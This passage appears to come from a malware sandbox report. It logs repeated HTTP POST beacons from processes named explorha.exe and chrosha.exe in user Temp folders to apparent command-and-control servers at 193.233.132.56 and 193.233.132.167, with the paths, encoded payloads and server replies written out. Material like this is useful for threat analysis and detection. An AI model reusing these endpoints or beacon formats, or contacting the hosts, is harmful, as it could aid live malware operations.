Apr 19, 2024 03:30:38.819822073 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:39.068232059 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:39.100039005 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:39.353152990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.5	50000	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:38.871501923 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:39.132621050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.5	50001	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:39.488617897 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:39.728652000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.5	50002	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:39.709104061 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:39.953923941 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:39.957781076 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:40.207191944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.5	50003	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:39.982269049 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:40.237508059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.5	50004	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:40.573239088 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:40.823082924 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:40.825916052 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:41.078823090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.5	50005	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:40.602494001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:40.851536989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.5	50006	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:41.100123882 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:41.349332094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.5	50007	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:41.437313080 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:41.689469099 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:41.690449953 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:41.948496103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.5	50008	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:41.714231014 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:41.961945057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.5	50009	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:42.217045069 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:42.466587067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.5	50010	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:42.301182032 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:42.547590017 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:42.551604033 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:42.804879904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.5	50011	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:42.828185081 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:43.076931953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.5	50012	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:43.184144020 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:43.436554909 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:43.439369917 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:43.696753979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.5	50013	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:43.323101997 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:43.568595886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.5	50014	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:43.928541899 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:44.173676014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.5	50015	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:44.047102928 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:44.288162947 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:44.289083958 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:44.534444094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.5	50016	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
